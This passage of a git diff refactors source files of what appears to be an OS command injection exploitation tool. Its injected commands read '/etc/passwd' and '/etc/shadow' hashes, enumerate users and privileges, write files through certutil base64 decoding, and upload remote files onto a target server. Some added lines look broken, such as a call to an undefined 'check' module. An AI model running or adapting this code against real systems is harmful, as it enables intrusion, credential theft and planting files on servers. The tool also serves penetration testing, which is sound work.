- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate '/etc/shadow' format.
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
- warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
+ sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_passes(sys_passes, filename, _)
"""
Single os-shell execution
@@ -569,11 +297,25 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
settings.ENUMERATION_DONE = True
if menu.options.users:
+ if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
- system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ if settings.TARGET_OS == "win":
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ else:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
+ system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
# eof
\ No newline at end of file
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index bc9538b1b4..35d6da05d3 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -19,6 +19,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
+from src.core.injections.controller import checks
from src.core.requests import requests
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -28,207 +29,96 @@
The "classic" technique on result-based OS command injection.
"""
-"""
-Read a file from the target host.
-"""
-def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching content of the file: '"
- info_msg += file_to_read + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_READ + file_to_read
- else:
- cmd = settings.FILE_READ + file_to_read
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Perform target page reload (if it is required).
- if settings.URL_RELOAD:
- response = requests.url_reload(url, timesec)
- # Evaluate injection results.
- shell = cb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell)
- session_handler.store_cmd(url, cmd, shell, vuln_parameter)
- else:
- shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- _ = "Fetched file content"
- print(settings.print_retrieved_data(_, shell))
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of the file '" + file_to_read + "'."
- print(settings.print_warning_msg(warn_msg))
-
"""
Write to a file on the target host.
"""
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
- if not os.path.exists(file_to_write):
- warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
-
- if os.path.isfile(file_to_write):
- with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
- content = "".join(str(p) for p in content).replace("'", "\"")
- if settings.TARGET_OS == "win":
- import base64
- content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
- else:
- warn_msg = "It seems that '" + file_to_write + "' is not a file."
- print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
-
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
- else:
- dest_to_write = menu.options.file_dest
-
- info_msg = "Trying to write the content of the file '"
- info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
- dest_to_write = dest_to_write.replace("\\","/")
- # Find path
- path = os.path.dirname(dest_to_write)
- path = path.replace("/","\\")
- # Change directory
- cmd = "cd " + path
+ cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Find filename
- filname = os.path.basename(dest_to_write)
- tmp_filname = "tmp_" + filname
- cmd = settings.FILE_WRITE + content + ">" + tmp_filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Decode base 64 encoding
- cmd = "certutil -decode " + tmp_filname + " " + filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ cmd = checks.win_decode_b64_enc(fname, tmp_fname)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # Delete tmp file
- cmd = "del " + tmp_filname
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
+ cmd = checks.delete_tmp(tmp_fname)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # Check if file exists
- cmd = "if exist " + filname + " (echo " + filname + ")"
- if not menu.options.alter_shell :
- cmd = "\"" + cmd + "\""
- dest_to_write = path + "\\" + filname
-
+ # cmd = "if exist " + fname + " (echo " + fname + ")"
+ # dest_to_write = dest_to_write + "\\" + fname
+ cmd = checks.check_file(dest_to_write)
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
else:
- cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
+ cmd = checks.write_content(content, dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- # Check if file exists
- cmd = "echo $(ls " + dest_to_write + ")"
+ cmd = checks.check_file(dest_to_write)
if settings.USE_BACKTICKS:
- cmd = cmd.replace("echo $(","").replace(")","")
- # Check if defined cookie injection.
+ cmd = checks.remove_command_substitution(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
- print(settings.print_warning_msg(warn_msg))
+ checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- if settings.TARGET_OS == "win":
- check_option = "--file-upload"
- checks.unavailable_option(check_option)
- pass
- else:
- file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
- # check if remote file exists.
- try:
- _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
- except ValueError as err_msg:
- err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
-
- # Check the file-destination
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
- else:
- dest_to_upload = menu.options.file_dest
-
- info_msg = "Trying to upload the file from '"
- info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
- print(settings.print_info_msg(info_msg))
+ cmd, dest_to_upload = checks.check_file_to_upload()
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ shell = cb_injector.injection_results(response, TAG, cmd)
+ shell = "".join(str(p) for p in shell)
+ cmd = checks.check_file(dest_to_upload)
+ if settings.USE_BACKTICKS:
+ cmd = checks.remove_command_substitution(cmd)
+ response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ shell = cb_injector.injection_results(response, TAG, cmd)
+ shell = "".join(str(p) for p in shell)
+ checks.file_upload_status(shell, dest_to_upload)
- # Execute command
- cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- shell = cb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell)
-
- # Check if file exists!
- if settings.TARGET_OS == "win":
- cmd = "dir " + dest_to_upload + ")"
- else:
- cmd = "echo $(ls " + dest_to_upload + ")"
- if settings.USE_BACKTICKS:
- cmd = cmd.replace("echo $(","").replace(")","")
+"""
+Read a file from the target host.
+"""
+def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ cmd, file_to_read = checks.file_content_to_read()
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
- print(settings.print_warning_msg(warn_msg))
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
-
+ if menu.options.file_write:
+ file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ settings.FILE_ACCESS_DONE = True
+
if menu.options.file_upload:
- file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ if settings.TARGET_OS == "win":
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
+ else:
+ file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
- if menu.options.file_write:
- file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
- settings.FILE_ACCESS_DONE = True
# eof
\ No newline at end of file
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 8f90f5b642..abf0292659 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -32,11 +32,12 @@
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
else:
- cmd = "\"" + cmd + "\""
+ cmd = cmd = checks.quoted_cmd(cmd)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -50,30 +51,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- try:
- if float(ps_version):
- settings.PS_ENABLED = True
- # Output PowerShell's version number
- info_msg = "Powershell version: "
- info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Powershell version: " + ps_version + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- except ValueError:
- warn_msg = "Heuristics have failed to identify the version of Powershell, "
- warn_msg += "which means that some payloads or injection techniques may be failed."
- print(settings.print_warning_msg(warn_msg))
- settings.PS_ENABLED = False
- checks.ps_check_failed()
+ check.print_ps_version(ps_version,)
"""
Hostname enumeration
"""
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
@@ -89,23 +73,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- info_msg = "Hostname: " + str(shell) + "."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to identify the hostname."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
-def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
@@ -156,30 +130,20 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if target_os and target_arch:
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch underlying operating system information."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
else:
- settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
+ settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -193,27 +157,17 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if cu_account:
- info_msg = "Current user: " + str(cu_account)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Current user: " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch the current user."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
if not alter_shell:
- cmd = "\"" + cmd + "\""
+ cmd = cmd = checks.quoted_cmd(cmd)
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
@@ -228,31 +182,20 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
-
- _ = "True"
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- _ = "False"
-
- info_msg = "Current user has excessive privileges: " + str(_)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
else:
- settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
+ settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
else:
settings.SYS_USERS = settings.EVAL_SYS_USERS
cmd = settings.SYS_USERS
@@ -268,241 +211,27 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- # Windows users enumeration.
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- sys.stdout.write(settings.SUCCESS_STATUS)
- sys_users_list = re.findall(r"(.*)", sys_users)
- sys_users_list = "".join(str(p) for p in sys_users_list).strip()
- sys_users_list = ' '.join(sys_users_list.split())
- sys_users_list = sys_users_list.split()
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = cmd.replace("'","\\'")
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
-
- # Unix-like users enumeration.
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
- sys_users = sys_users.split("\n")
- else:
- sys_users = sys_users.split(" ")
- # Check for appropriate '/etc/passwd' format.
- if len(sys_users) % 3 != 0 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users).strip()
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- sys_users_list = []
- for user in range(0, len(sys_users), 3):
- sys_users_list.append(sys_users[user : user + 3])
- if len(sys_users_list) != 0 :
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- sys_users = sys_users_list[user]
- sys_users = ":".join(str(p) for p in sys_users)
- count = count + 1
- fields = sys_users.split(":")
- fields1 = "".join(str(p) for p in fields)
- # System users privileges enumeration
- try:
- if not fields[2].startswith("/"):
- raise ValueError()
- if menu.options.privileges:
- if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
- is_privileged_nh = " is root user "
- elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
- is_privileged_nh = " is system user "
- elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
- if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
- is_privileged_nh = " is anonymous user "
- elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
- output_file.close()
- except ValueError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
- warn_msg += "appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
+ checks.print_users(sys_users, filename, _)
"""
System passwords enumeration
"""
-def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- if settings.TARGET_OS == "win":
- check_option = "--passwords"
- checks.unavailable_option(check_option)
- pass
+def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ _ = False
+ cmd = settings.SYS_PASSES
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # Command execution results.
+ response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ # Perform target page reload (if it is required).
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
+ # Evaluate injection results.
+ sys_passes = eb_injector.injection_results(response, TAG, cmd)
+ sys_passes = "".join(str(p) for p in sys_passes)
+ session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
- cmd = settings.SYS_PASSES
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Perform target page reload (if it is required).
- if settings.URL_RELOAD:
- response = requests.url_reload(url, timesec)
- # Evaluate injection results.
- sys_passes = eb_injector.injection_results(response, TAG, cmd)
- sys_passes = "".join(str(p) for p in sys_passes)
- session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
- else:
- sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if sys_passes == "":
- sys_passes = " "
- if sys_passes :
